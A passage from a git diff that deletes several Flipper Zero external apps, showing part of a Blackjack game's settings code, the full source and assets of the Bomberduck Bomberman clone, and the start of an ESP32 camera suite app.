gameState->settings.round_price, - gameState->settings.starting_money < 400, - gameState->selectedMenu == 0); - snprintf(drawChar, sizeof(drawChar), "%li", gameState->settings.round_price); - draw_menu( - canvas, - "Round price", - drawChar, - 1 * LINE_HEIGHT + startY, - gameState->settings.round_price > 10, - gameState->settings.round_price < gameState->settings.starting_money, - gameState->selectedMenu == 1); - - snprintf(drawChar, sizeof(drawChar), "%li", gameState->settings.animation_duration); - draw_menu( - canvas, - "Anim. length", - drawChar, - 2 * LINE_HEIGHT + startY, - gameState->settings.animation_duration > 0, - gameState->settings.animation_duration < 2000, - gameState->selectedMenu == 2); - snprintf(drawChar, sizeof(drawChar), "%li", gameState->settings.message_duration); - draw_menu( - canvas, - "Popup time", - drawChar, - 3 * LINE_HEIGHT + startY, - gameState->settings.message_duration > 0, - gameState->settings.message_duration < 2000, - gameState->selectedMenu == 3); - // draw_menu(canvas, "Sound", gameState->settings.sound_effects ? "Yes" : "No", - // 5 * LINE_HEIGHT + startY, - // true, - // true, - // gameState->selectedMenu == 5 - // ); -} \ No newline at end of file diff --git a/applications/external/blackjack/ui.h b/applications/external/blackjack/ui.h deleted file mode 100644 index 51b388010..000000000 --- a/applications/external/blackjack/ui.h +++ /dev/null @@ -1,18 +0,0 @@ -#pragma once - -#include "defines.h" -#include - -void draw_player_scene(Canvas* const canvas, const GameState* game_state); - -void draw_dealer_scene(Canvas* const canvas, const GameState* game_state); - -void draw_play_menu(Canvas* const canvas, const GameState* game_state); - -void draw_score(Canvas* const canvas, bool top, uint8_t amount); - -void draw_money(Canvas* const canvas, uint32_t score); -void settings_page(Canvas* const canvas, const GameState* gameState); - -void popup_frame(Canvas* const canvas); -void draw_screen(Canvas* const canvas, const bool* points); diff --git a/applications/external/blackjack/util.c b/applications/external/blackjack/util.c deleted file mode 100644 index 8e88c2231..000000000 --- a/applications/external/blackjack/util.c +++ /dev/null @@ -1,123 +0,0 @@ -#include -#include "util.h" - -const char* CONFIG_FILE_PATH = EXT_PATH(".blackjack.settings"); - -void save_settings(Settings settings) { - Storage* storage = furi_record_open(RECORD_STORAGE); - FlipperFormat* file = flipper_format_file_alloc(storage); - FURI_LOG_D(APP_NAME, "Saving config"); - if(flipper_format_file_open_existing(file, CONFIG_FILE_PATH)) { - FURI_LOG_D( - APP_NAME, "Saving %s: %ld", CONF_ANIMATION_DURATION, settings.animation_duration); - flipper_format_update_uint32( - file, CONF_ANIMATION_DURATION, &(settings.animation_duration), 1); - - FURI_LOG_D(APP_NAME, "Saving %s: %ld", CONF_MESSAGE_DURATION, settings.message_duration); - flipper_format_update_uint32(file, CONF_MESSAGE_DURATION, &(settings.message_duration), 1); - - FURI_LOG_D(APP_NAME, "Saving %s: %ld", CONF_STARTING_MONEY, settings.starting_money); - flipper_format_update_uint32(file, CONF_STARTING_MONEY, &(settings.starting_money), 1); - - FURI_LOG_D(APP_NAME, "Saving %s: %ld", CONF_ROUND_PRICE, settings.round_price); - flipper_format_update_uint32(file, CONF_ROUND_PRICE, &(settings.round_price), 1); - - FURI_LOG_D(APP_NAME, "Saving %s: %i", CONF_SOUND_EFFECTS, settings.sound_effects ? 1 : 0); - flipper_format_update_bool(file, CONF_SOUND_EFFECTS, &(settings.sound_effects), 1); - FURI_LOG_D(APP_NAME, "Config saved"); - } else { - FURI_LOG_E(APP_NAME, "Save error"); - } - flipper_format_file_close(file); - flipper_format_free(file); - furi_record_close(RECORD_STORAGE); -} - -void save_settings_file(FlipperFormat* file, Settings* settings) { - flipper_format_write_header_cstr(file, CONFIG_FILE_HEADER, CONFIG_FILE_VERSION); - flipper_format_write_comment_cstr(file, "Card animation duration in ms"); - flipper_format_write_uint32(file, CONF_ANIMATION_DURATION, &(settings->animation_duration), 1); - flipper_format_write_comment_cstr(file, "Popup message duration in ms"); - flipper_format_write_uint32(file, CONF_MESSAGE_DURATION, &(settings->message_duration), 1); - flipper_format_write_comment_cstr(file, "Player's starting money"); - flipper_format_write_uint32(file, CONF_STARTING_MONEY, &(settings->starting_money), 1); - flipper_format_write_comment_cstr(file, "Round price"); - flipper_format_write_uint32(file, CONF_ROUND_PRICE, &(settings->round_price), 1); - flipper_format_write_comment_cstr(file, "Enable sound effects"); - flipper_format_write_bool(file, CONF_SOUND_EFFECTS, &(settings->sound_effects), 1); -} - -Settings load_settings() { - Settings settings; - - FURI_LOG_D(APP_NAME, "Loading default settings"); - settings.animation_duration = 800; - settings.message_duration = 1500; - settings.starting_money = 200; - settings.round_price = 10; - settings.sound_effects = true; - - FURI_LOG_D(APP_NAME, "Opening storage"); - Storage* storage = furi_record_open(RECORD_STORAGE); - FURI_LOG_D(APP_NAME, "Allocating file"); - FlipperFormat* file = flipper_format_file_alloc(storage); - - FURI_LOG_D(APP_NAME, "Allocating string"); - FuriString* string_value; - string_value = furi_string_alloc(); - - if(storage_common_stat(storage, CONFIG_FILE_PATH, NULL) != FSE_OK) { - FURI_LOG_D(APP_NAME, "Config file %s not found, creating new one...", CONFIG_FILE_PATH); - if(!flipper_format_file_open_new(file, CONFIG_FILE_PATH)) { - FURI_LOG_E(APP_NAME, "Error creating new file %s", CONFIG_FILE_PATH); - flipper_format_file_close(file); - } else { - save_settings_file(file, &settings); - } - } else { - if(!flipper_format_file_open_existing(file, CONFIG_FILE_PATH)) { - FURI_LOG_E(APP_NAME, "Error opening existing file %s", CONFIG_FILE_PATH); - flipper_format_file_close(file); - } else { - uint32_t value; - bool valueBool; - FURI_LOG_D(APP_NAME, "Checking version"); - if(!flipper_format_read_header(file, string_value, &value)) { - FURI_LOG_E(APP_NAME, "Config file mismatch"); - } else { - FURI_LOG_D(APP_NAME, "Loading %s", CONF_ANIMATION_DURATION); - if(flipper_format_read_uint32(file, CONF_ANIMATION_DURATION, &value, 1)) { - settings.animation_duration = value; - FURI_LOG_D(APP_NAME, "Loaded %s: %ld", CONF_ANIMATION_DURATION, value); - } - FURI_LOG_D(APP_NAME, "Loading %s", CONF_MESSAGE_DURATION); - if(flipper_format_read_uint32(file, CONF_MESSAGE_DURATION, &value, 1)) { - settings.message_duration = value; - FURI_LOG_D(APP_NAME, "Loaded %s: %ld", CONF_MESSAGE_DURATION, value); - } - FURI_LOG_D(APP_NAME, "Loading %s", CONF_STARTING_MONEY); - if(flipper_format_read_uint32(file, CONF_STARTING_MONEY, &value, 1)) { - settings.starting_money = value; - FURI_LOG_D(APP_NAME, "Loaded %s: %ld", CONF_STARTING_MONEY, value); - } - FURI_LOG_D(APP_NAME, "Loading %s", CONF_ROUND_PRICE); - if(flipper_format_read_uint32(file, CONF_ROUND_PRICE, &value, 1)) { - settings.round_price = value; - FURI_LOG_D(APP_NAME, "Loaded %s: %ld", CONF_ROUND_PRICE, value); - } - FURI_LOG_D(APP_NAME, "Loading %s", CONF_SOUND_EFFECTS); - if(flipper_format_read_bool(file, CONF_SOUND_EFFECTS, &valueBool, 1)) { - settings.sound_effects = valueBool; - FURI_LOG_D(APP_NAME, "Loaded %s: %i", CONF_ROUND_PRICE, valueBool ? 1 : 0); - } - } - flipper_format_file_close(file); - } - } - - furi_string_free(string_value); - // flipper_format_file_close(file); - flipper_format_free(file); - furi_record_close(RECORD_STORAGE); - return settings; -} \ No newline at end of file diff --git a/applications/external/blackjack/util.h b/applications/external/blackjack/util.h deleted file mode 100644 index 4bcc4d890..000000000 --- a/applications/external/blackjack/util.h +++ /dev/null @@ -1,7 +0,0 @@ -#pragma once -#include "defines.h" -#define CONFIG_FILE_HEADER "Blackjack config file" -#define CONFIG_FILE_VERSION 1 - -void save_settings(Settings settings); -Settings load_settings(); \ No newline at end of file diff --git a/applications/external/bomberduck/LICENSE b/applications/external/bomberduck/LICENSE deleted file mode 100644 index 4624b249c..000000000 --- a/applications/external/bomberduck/LICENSE +++ /dev/null @@ -1,22 +0,0 @@ -MIT License - -Copyright (c) 2023 лень - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. - diff --git a/applications/external/bomberduck/README.md b/applications/external/bomberduck/README.md deleted file mode 100644 index 2d133145a..000000000 --- a/applications/external/bomberduck/README.md +++ /dev/null @@ -1,2 +0,0 @@ -# flipperzero-bomberduck -Bomberman clone on flipper zero! diff --git a/applications/external/bomberduck/application.fam b/applications/external/bomberduck/application.fam deleted file mode 100644 index 5242d0f8c..000000000 --- a/applications/external/bomberduck/application.fam +++ /dev/null @@ -1,17 +0,0 @@ -App( - appid="bomberduck", - name="Bomberduck", - apptype=FlipperAppType.EXTERNAL, - entry_point="bomberduck_app", - requires=[ - "gui", - ], - stack_size=1 * 1024, - order=90, - fap_icon="bomb.png", - fap_category="Games", - fap_icon_assets="assets", - fap_author="@leo-need-more-coffee & @xMasterX", - fap_version="1.0", - fap_description="Bomberduck(Bomberman) Game", -) diff --git a/applications/external/bomberduck/assets/bomb0.png b/applications/external/bomberduck/assets/bomb0.png deleted file mode 100644 index 3fdc3a3c1..000000000 Binary files a/applications/external/bomberduck/assets/bomb0.png and /dev/null differ diff --git a/applications/external/bomberduck/assets/bomb1.png b/applications/external/bomberduck/assets/bomb1.png deleted file mode 100644 index 11d05b9b7..000000000 Binary files a/applications/external/bomberduck/assets/bomb1.png and /dev/null differ diff --git a/applications/external/bomberduck/assets/bomb2.png b/applications/external/bomberduck/assets/bomb2.png deleted file mode 100644 index 38ce7c732..000000000 Binary files a/applications/external/bomberduck/assets/bomb2.png and /dev/null differ diff --git a/applications/external/bomberduck/assets/box.png b/applications/external/bomberduck/assets/box.png deleted file mode 100644 index bbd352b6f..000000000 Binary files a/applications/external/bomberduck/assets/box.png and /dev/null differ diff --git a/applications/external/bomberduck/assets/end.png b/applications/external/bomberduck/assets/end.png deleted file mode 100644 index d634933b7..000000000 Binary files a/applications/external/bomberduck/assets/end.png and /dev/null differ diff --git a/applications/external/bomberduck/assets/enemy1.png b/applications/external/bomberduck/assets/enemy1.png deleted file mode 100644 index 7ee7cb27f..000000000 Binary files a/applications/external/bomberduck/assets/enemy1.png and /dev/null differ diff --git a/applications/external/bomberduck/assets/enemyleft.png b/applications/external/bomberduck/assets/enemyleft.png deleted file mode 100644 index bb85dfbb2..000000000 Binary files a/applications/external/bomberduck/assets/enemyleft.png and /dev/null differ diff --git a/applications/external/bomberduck/assets/enemyright.png b/applications/external/bomberduck/assets/enemyright.png deleted file mode 100644 index 45e6a861a..000000000 Binary files a/applications/external/bomberduck/assets/enemyright.png and /dev/null differ diff --git a/applications/external/bomberduck/assets/explore.png b/applications/external/bomberduck/assets/explore.png deleted file mode 100644 index 5eb50b669..000000000 Binary files a/applications/external/bomberduck/assets/explore.png and /dev/null differ diff --git a/applications/external/bomberduck/assets/playerleft.png b/applications/external/bomberduck/assets/playerleft.png deleted file mode 100644 index 86997a985..000000000 Binary files a/applications/external/bomberduck/assets/playerleft.png and /dev/null differ diff --git a/applications/external/bomberduck/assets/playerright.png b/applications/external/bomberduck/assets/playerright.png deleted file mode 100644 index 1a6283d9c..000000000 Binary files a/applications/external/bomberduck/assets/playerright.png and /dev/null differ diff --git a/applications/external/bomberduck/assets/unbreakbox.png b/applications/external/bomberduck/assets/unbreakbox.png deleted file mode 100644 index 5e65912d5..000000000 Binary files a/applications/external/bomberduck/assets/unbreakbox.png and /dev/null differ diff --git a/applications/external/bomberduck/bomb.png b/applications/external/bomberduck/bomb.png deleted file mode 100644 index 44b9bfdea..000000000 Binary files a/applications/external/bomberduck/bomb.png and /dev/null differ diff --git a/applications/external/bomberduck/bomberduck.c b/applications/external/bomberduck/bomberduck.c deleted file mode 100644 index 3e9d52f56..000000000 --- a/applications/external/bomberduck/bomberduck.c +++ /dev/null @@ -1,647 +0,0 @@ -#include -#include - -#include -#include -#include -#include -#include "bomberduck_icons.h" -#include - -int max(int a, int b) { - return (a > b) ? a : b; -} - -int min(int a, int b) { - return (a < b) ? a : b; -} - -#define WorldSizeX 12 -#define WorldSizeY 6 -#define BombRange 1 - -typedef struct { - FuriMutex* mutex; -} BomberState; - -typedef struct { - int row; - int col; -} Cell; - -typedef struct { - Cell cells[WorldSizeY * WorldSizeX]; - int front; - int rear; -} Queue; - -void enqueue(Queue* q, Cell c) { - q->cells[q->rear] = c; - q->rear++; -} - -Cell dequeue(Queue* q) { - Cell c = q->cells[q->front]; - q->front++; - - return c; -} - -bool is_empty(Queue* q) { - return q->front == q->rear; -} - -typedef struct { - int x; - int y; - int planted; -} Bomb; - -typedef struct { - int x; - int y; - bool side; -} Player; - -typedef struct { - int x; - int y; - int last; - bool side; - int level; -} Enemy; - -typedef struct { - int matrix[WorldSizeY][WorldSizeX]; - Player* player; - bool running; - int level; - - Enemy enemies[10]; - int enemies_count; - - Bomb bombs[100]; - int bombs_count; - - int endx; - int endy; -} World; - -Player player = {0, 0, 1}; -World world = {{{0}}, &player, 1, 0, {}, 0, {}, 0, 0, 0}; -bool vibration = false; - -void init() { - player.x = 1; - player.y = 1; - - world.endx = 4 + rand() % 8; - world.endy = rand() % 6; - for(int i = 0; i < WorldSizeY; i++) { - for(int j = 0; j < WorldSizeX; j++) { - world.matrix[i][j] = rand() % 3; - } - } - world.running = 1; - world.bombs_count = 0; - vibration = false; - for(int j = max(0, player.y - BombRange); j < min(WorldSizeY, player.y + BombRange + 1); j++) { - world.matrix[j][player.x] = 0; - } - - for(int j = max(0, player.x - BombRange); j < min(WorldSizeX, player.x + BombRange + 1); j++) { - world.matrix[player.y][j] = 0; - } - - world.enemies_count = 0; - for(int j = 0; j < rand() % 4 + world.level / 5; j++) { - Enemy enemy; - enemy.x = 4 + rand() % 7; - enemy.y = rand() % 6; - enemy.last = 0; - enemy.side = 1; - enemy.level = 0; - - world.enemies[j] = enemy; - world.enemies_count++; - - for(int m = max(0, world.enemies[j].y - BombRange); - m < min(WorldSizeY, world.enemies[j].y + BombRange + 1); - m++) { - world.matrix[m][world.enemies[j].x] = 0; - } - - for(int m = max(0, world.enemies[j].x - BombRange); - m < min(WorldSizeX, world.enemies[j].x + BombRange + 1); - m++) { - world.matrix[world.enemies[j].y][m] = 0; - } - } - world.matrix[world.endy][world.endx] = 1; -} - -const NotificationSequence end = { - &message_vibro_on, - - &message_note_ds4, - &message_delay_10, - &message_sound_off, - &message_delay_10, - - &message_note_ds4, - &message_delay_10, - &message_sound_off, - &message_delay_10, - - &message_note_ds4, - &message_delay_10, - &message_sound_off, - &message_delay_10, - - &message_vibro_off, - NULL, -}; - -static const NotificationSequence bomb2 = { - &message_vibro_on, - &message_delay_25, - &message_vibro_off, - NULL, -}; - -static const NotificationSequence bomb_explore = { - &message_vibro_on, - &message_delay_50, - &message_vibro_off, - NULL, -}; - -static const NotificationSequence vibr1 = { - &message_vibro_on, - &message_delay_10, - &message_vibro_off, - &message_delay_10, - &message_vibro_on, - &message_delay_10, - &message_vibro_off, - &message_delay_10, - - NULL, -}; - -void intToStr(int num, char* str) { - int i = 0, sign = 0; - - if(num < 0) { - num = -num; - sign = 1; - } - - do { - str[i++] = num % 10 + '0'; - num /= 10; - } while(num > 0); - - if(sign) { - str[i++] = '-'; - } - - str[i] = '\0'; - - // Reverse the string - int j, len = i; - char temp; - for(j = 0; j < len / 2; j++) { - temp = str[j]; - str[j] = str[len - j - 1]; - str[len - j - 1] = temp; - } -} - -bool BFS() { - // Initialize visited array and queue - int visited[WorldSizeY][WorldSizeX] = {0}; - Queue q = {.front = 0, .rear = 0}; - // Mark the starting cell as visited and enqueue it - visited[world.player->y][world.player->x] = 1; - Cell startCell = {.row = world.player->y, .col = world.player->x}; - enqueue(&q, startCell); - // Traverse the field - while(!is_empty(&q)) { - // Dequeue a cell from the queue - Cell currentCell = dequeue(&q); - // Check if the current cell is the destination cell - if(currentCell.row == world.endy && currentCell.col == world.endx) { - return true; - } - // Check the neighboring cells - for(int rowOffset = -1; rowOffset <= 1; rowOffset++) { - for(int colOffset = -1; colOffset <= 1; colOffset++) { - // Skip diagonals and the current cell - if(rowOffset == 0 && colOffset == 0) { - continue; - } - if(rowOffset != 0 && colOffset != 0) { - continue; - } - // Calculate the row and column of the neighboring cell - int neighborRow = currentCell.row + rowOffset; - int neighborCol = currentCell.col + colOffset; - // Skip out-of-bounds cells and already visited cells - if(neighborRow < 0 || neighborRow >= WorldSizeY || neighborCol < 0 || - neighborCol >= WorldSizeX) { - continue; - } - if(visited[neighborRow][neighborCol]) { - continue; - } - // Mark the neighboring cell as visited and enqueue it - if(world.matrix[neighborRow][neighborCol] != 2) { - visited[neighborRow][neighborCol] = 1; - Cell neighborCell = {.row = neighborRow, .col = neighborCol}; - enqueue(&q, neighborCell); - } - } - } - } - return false; -} - -static void draw_callback(Canvas* canvas, void* ctx) { - furi_assert(ctx); - const BomberState* bomber_state = ctx; - - furi_mutex_acquire(bomber_state->mutex, FuriWaitForever); - if(!BFS()) { - init(); - } - canvas_clear(canvas); - - canvas_draw_icon(canvas, world.endx * 10 + 4, world.endy * 10 + 2, &I_end); - - if(world.running) { - for(size_t i = 0; i < WorldSizeY; i++) { - for(size_t j = 0; j < WorldSizeX; j++) { - switch(world.matrix[i][j]) { - case 0: - break; - case 1: - canvas_draw_icon(canvas, j * 10 + 4, i * 10 + 2, &I_box); - break; - case 2: - canvas_draw_icon(canvas, j * 10 + 4, i * 10 + 2, &I_unbreakbox); - break; - case 3: - canvas_draw_icon(canvas, j * 10 + 4, i * 10 + 2, &I_bomb0); - break; - case 4: - canvas_draw_icon(canvas, j * 10 + 4, i * 10 + 2, &I_bomb1); - break; - case 5: - canvas_draw_icon(canvas, j * 10 + 4, i * 10 + 2, &I_bomb2); - break; - case 6: - canvas_draw_icon(canvas, j * 10 + 4, i * 10 + 2, &I_explore); - world.matrix[i][j] = 0; - break; - } - } - } - - if(world.player->side) { - canvas_draw_icon( - canvas, world.player->x * 10 + 4, world.player->y * 10 + 2, &I_playerright); - } else { - canvas_draw_icon( - canvas, world.player->x * 10 + 4, world.player->y * 10 + 2, &I_playerleft); - } - - for(int i = 0; i < world.enemies_count; i++) { - if(world.enemies[i].level > 0) { - canvas_draw_icon( - canvas, world.enemies[i].x * 10 + 4, world.enemies[i].y * 10 + 2, &I_enemy1); - } else { - if(world.enemies[i].side) { - canvas_draw_icon( - canvas, - world.enemies[i].x * 10 + 4, - world.enemies[i].y * 10 + 2, - &I_enemyright); - } else { - canvas_draw_icon( - canvas, - world.enemies[i].x * 10 + 4, - world.enemies[i].y * 10 + 2, - &I_enemyleft); - } - } - } - } else { - canvas_set_font(canvas, FontPrimary); - if(world.player->x == world.endx && world.player->y == world.endy) { - if(world.level == 20) { - canvas_draw_str(canvas, 30, 35, "You win!"); - } else { - canvas_draw_str(canvas, 30, 35, "Next level!"); - char str[20]; - intToStr(world.level, str); - canvas_draw_str(canvas, 90, 35, str); - } - - } else { - canvas_draw_str(canvas, 30, 35, "You died :("); - } - } - - furi_mutex_release(bomber_state->mutex); -} - -static void input_callback(InputEvent* input_event, void* ctx) { - // ПроверÑем, что контекÑÑ‚ не нулевой - furi_assert(ctx); - FuriMessageQueue* event_queue = ctx; - - furi_message_queue_put(event_queue, input_event, FuriWaitForever); -} - -int32_t bomberduck_app(void* p) { - UNUSED(p); - - // Текущее Ñобытие типа InputEvent - InputEvent event; - // Очередь Ñобытий на 8 Ñлементов размера InputEvent - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); - - BomberState* bomber_state = malloc(sizeof(BomberState)); - - bomber_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); // Alloc Mutex - if(!bomber_state->mutex) { - FURI_LOG_E("BomberDuck", "cannot create mutex\r\n"); - furi_message_queue_free(event_queue); - free(bomber_state); - return 255; - } - - dolphin_deed(DolphinDeedPluginGameStart); - // Создаем новый view port - ViewPort* view_port = view_port_alloc(); - // Создаем callback отриÑовки, без контекÑта - view_port_draw_callback_set(view_port, draw_callback, bomber_state); - // Создаем callback нажатий на клавиши, в качеÑтве контекÑта передаем - // нашу очередь Ñообщений, чтоб запихивать в неё Ñти ÑÐ¾Ð±Ñ‹Ñ‚Ð¸Ñ - view_port_input_callback_set(view_port, input_callback, event_queue); - - // Создаем GUI Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ - Gui* gui = furi_record_open(RECORD_GUI); - // Подключаем view port к GUI в полноÑкранном режиме - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - NotificationApp* notification = furi_record_open(RECORD_NOTIFICATION); - notification_message_block(notification, &sequence_display_backlight_enforce_on); - - init(); - - // БеÑконечный цикл обработки очереди Ñобытий - while(1) { - if(furi_message_queue_get(event_queue, &event, 100) == FuriStatusOk) { - furi_mutex_acquire(bomber_state->mutex, FuriWaitForever); - // ЕÑли нажата кнопка "назад", то выходим из цикла, а Ñледовательно и из Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ - - if(event.type == InputTypePress) { - if(event.key == InputKeyOk) { - if(world.running) { - if(world.matrix[world.player->y][world.player->x] == 0 && - world.bombs_count < 2) { - notification_message(notification, &bomb2); - world.matrix[world.player->y][world.player->x] = 3; - Bomb bomb = {world.player->x, world.player->y, furi_get_tick()}; - world.bombs[world.bombs_count] = bomb; - world.bombs_count++; - } - } else { - init(); - } - } - if(world.running) { - if(event.key == InputKeyUp) { - if(world.player->y > 0 && - world.matrix[world.player->y - 1][world.player->x] == 0) - world.player->y--; - } - if(event.key == InputKeyDown) { - if(world.player->y < WorldSizeY - 1 && - world.matrix[world.player->y + 1][world.player->x] == 0) - world.player->y++; - } - if(event.key == InputKeyLeft) { - world.player->side = 0; - if(world.player->x > 0 && - world.matrix[world.player->y][world.player->x - 1] == 0) - world.player->x--; - } - if(event.key == InputKeyRight) { - world.player->side = 1; - if(world.player->x < WorldSizeX - 1 && - world.matrix[world.player->y][world.player->x + 1] == 0) - world.player->x++; - } - } - } else if(event.type == InputTypeLong) { - if(event.key == InputKeyBack) { - break; - } - } - } - if(world.running) { - if(world.player->x == world.endx && world.player->y == world.endy) { - notification_message(notification, &end); - world.running = 0; - world.level += 1; - if(world.level % 5 == 0) { - dolphin_deed(DolphinDeedPluginGameWin); - } - } - for(int i = 0; i < world.bombs_count; i++) { - if(furi_get_tick() - world.bombs[i].planted > - (unsigned long)max((3000 - world.level * 150), 1000)) { - vibration = false; - world.matrix[world.bombs[i].y][world.bombs[i].x] = 6; - notification_message(notification, &bomb_explore); - - for(int j = max(0, world.bombs[i].y - BombRange); - j < min(WorldSizeY, world.bombs[i].y + BombRange + 1); - j++) { - if(world.matrix[j][world.bombs[i].x] != 2) { - world.matrix[j][world.bombs[i].x] = 6; - if(j == world.player->y && world.bombs[i].x == world.player->x) { - notification_message(notification, &end); - world.running = 0; - } - for(int e = 0; e < world.enemies_count; e++) { - if(j == world.enemies[e].y && - world.bombs[i].x == world.enemies[e].x) { - if(world.enemies[e].level > 0) { - world.enemies[e].level--; - } else { - for(int l = e; l < world.enemies_count - 1; l++) { - world.enemies[l] = world.enemies[l + 1]; - } - world.enemies_count--; - } - } - } - } - } - - for(int j = max(0, world.bombs[i].x - BombRange); - j < min(WorldSizeX, world.bombs[i].x + BombRange + 1); - j++) { - if(world.matrix[world.bombs[i].y][j] != 2) { - world.matrix[world.bombs[i].y][j] = 6; - if(world.bombs[i].y == world.player->y && j == world.player->x) { - notification_message(notification, &end); - world.running = 0; - } - for(int e = 0; e < world.enemies_count; e++) { - if(world.bombs[i].y == world.enemies[e].y && - j == world.enemies[e].x) { - if(world.enemies[e].level > 0) { - world.enemies[e].level--; - } else { - for(int l = e; l < world.enemies_count - 1; l++) { - world.enemies[l] = world.enemies[l + 1]; - } - world.enemies_count--; - } - } - } - } - } - - for(int j = i; j < world.bombs_count - 1; j++) { - world.bombs[j] = world.bombs[j + 1]; - } - world.bombs_count--; - } else if( - furi_get_tick() - world.bombs[i].planted > - (unsigned long)max((3000 - world.level * 150) * 2 / 3, 666) && - world.matrix[world.bombs[i].y][world.bombs[i].x] != 5) { - world.matrix[world.bombs[i].y][world.bombs[i].x] = 5; - vibration = true; - - } else if( - furi_get_tick() - world.bombs[i].planted > - (unsigned long)max((3000 - world.level * 150) / 3, 333) && - world.matrix[world.bombs[i].y][world.bombs[i].x] != 4) { - world.matrix[world.bombs[i].y][world.bombs[i].x] = 4; - } - } - for(int e = 0; e < world.enemies_count; e++) { - if(world.player->y == world.enemies[e].y && - world.player->x == world.enemies[e].x) { - notification_message(notification, &end); - world.running = 0; - } - } - - for(int e = 0; e < world.enemies_count; e++) { - if(world.enemies[e].level > 0) { - if(furi_get_tick() - world.enemies[e].last > - (unsigned long)max((2000 - world.level * 100), 1000)) { - world.enemies[e].last = furi_get_tick(); - int move = rand() % 4; - switch(move) { - case 0: - if(world.enemies[e].y > 0 && - world.matrix[world.enemies[e].y - 1][world.enemies[e].x] != 2) - world.enemies[e].y--; - break; - case 1: - if(world.enemies[e].y < WorldSizeY - 1 && - world.matrix[world.enemies[e].y + 1][world.enemies[e].x] != 2) - world.enemies[e].y++; - break; - case 2: - world.enemies[e].side = 0; - if(world.enemies[e].x > 0 && - world.matrix[world.enemies[e].y][world.enemies[e].x - 1] != 2) - world.enemies[e].x--; - break; - case 3: - world.enemies[e].side = 1; - if(world.enemies[e].x < WorldSizeX - 1 && - world.matrix[world.enemies[e].y][world.enemies[e].x + 1] != 2) - world.enemies[e].x++; - default: - break; - } - } - } else { - if(furi_get_tick() - world.enemies[e].last > - (unsigned long)max((1000 - world.level * 50), 500)) { - world.enemies[e].last = furi_get_tick(); - int move = rand() % 4; - switch(move) { - case 0: - if(world.enemies[e].y > 0 && - world.matrix[world.enemies[e].y - 1][world.enemies[e].x] == 0) - world.enemies[e].y--; - break; - case 1: - if(world.enemies[e].y < WorldSizeY - 1 && - world.matrix[world.enemies[e].y + 1][world.enemies[e].x] == 0) - world.enemies[e].y++; - break; - case 2: - world.enemies[e].side = 0; - if(world.enemies[e].x > 0 && - world.matrix[world.enemies[e].y][world.enemies[e].x - 1] == 0) - world.enemies[e].x--; - break; - case 3: - world.enemies[e].side = 1; - if(world.enemies[e].x < WorldSizeX - 1 && - world.matrix[world.enemies[e].y][world.enemies[e].x + 1] == 0) - world.enemies[e].x++; - default: - break; - } - } - } - } - for(int e = 0; e < world.enemies_count; e++) { - for(int h = e + 1; h < world.enemies_count; h++) { - if(world.enemies[e].y == world.enemies[h].y && - world.enemies[e].x == world.enemies[h].x) { - world.enemies[h].level++; - for(int l = e; l < world.enemies_count - 1; l++) { - world.enemies[l] = world.enemies[l + 1]; - } - world.enemies_count--; - } - } - } - if(vibration) { - notification_message(notification, &vibr1); - } - } - - view_port_update(view_port); - furi_mutex_release(bomber_state->mutex); - } - - // Return to normal backlight settings - notification_message_block(notification, &sequence_display_backlight_enforce_auto); - furi_record_close(RECORD_NOTIFICATION); - // Ð¡Ð¿ÐµÑ†Ð¸Ð°Ð»ÑŒÐ½Ð°Ñ Ð¾Ñ‡Ð¸Ñтка памÑти, занимаемой очередью - furi_message_queue_free(event_queue); - - // ЧиÑтим Ñозданные объекты, ÑвÑзанные Ñ Ð¸Ð½Ñ‚ÐµÑ€Ñ„ÐµÐ¹Ñом - gui_remove_view_port(gui, view_port); - view_port_free(view_port); - - furi_mutex_free(bomber_state->mutex); - furi_record_close(RECORD_GUI); - free(bomber_state); - - return 0; -} diff --git a/applications/external/camera_suite/application.fam b/applications/external/camera_suite/application.fam deleted file mode 100644 index 63687833e..000000000 --- a/applications/external/camera_suite/application.fam +++ /dev/null @@ -1,16 +0,0 @@ -App( - appid="camera_suite", - apptype=FlipperAppType.EXTERNAL, - cdefines=["APP_CAMERA_SUITE"], - entry_point="camera_suite_app", - fap_author="@CodyTolene @Z4urce @leedave", - fap_category="GPIO", - fap_description="A camera suite application for the Flipper Zero ESP32-CAM module.", - fap_icon="icons/camera_suite.png", - fap_libs=["assets"], - fap_weburl="https://github.com/CodyTolene/Flipper-Zero-Cam", - name="[ESP32] Camera Suite", - order=1, - requires=["gui", "storage"], - stack_size=8 * 1024, -) diff --git a/applications/external/camera_suite/camera_suite.c b/applications/external/camera_suite/camera_suite.c deleted file mode 100644 index cbe7e3d62..000000000 --- a/applications/external/camera_suite/camera_suite.c +++ /dev/null @@ -1,132 +0,0 @@ -#include "camera_suite.h" -#include - -bool camera_suite_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - CameraSuite* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -void camera_suite_tick_event_callback(void* context) { - furi_assert(context); - CameraSuite* app = context; - scene_manager_handle_tick_event(app->scene_manager); -} - -// Leave app if back button pressed. -bool camera_suite_navigation_event_callback(void* context) { - furi_assert(context); - CameraSuite* app = context; - return scene_manager_handle_back_event(app->scene_manager); -} - -CameraSuite* camera_suite_app_alloc() { - CameraSuite* app = malloc(sizeof(CameraSuite)); - app->gui = furi_record_open(RECORD_GUI); - app->notification = 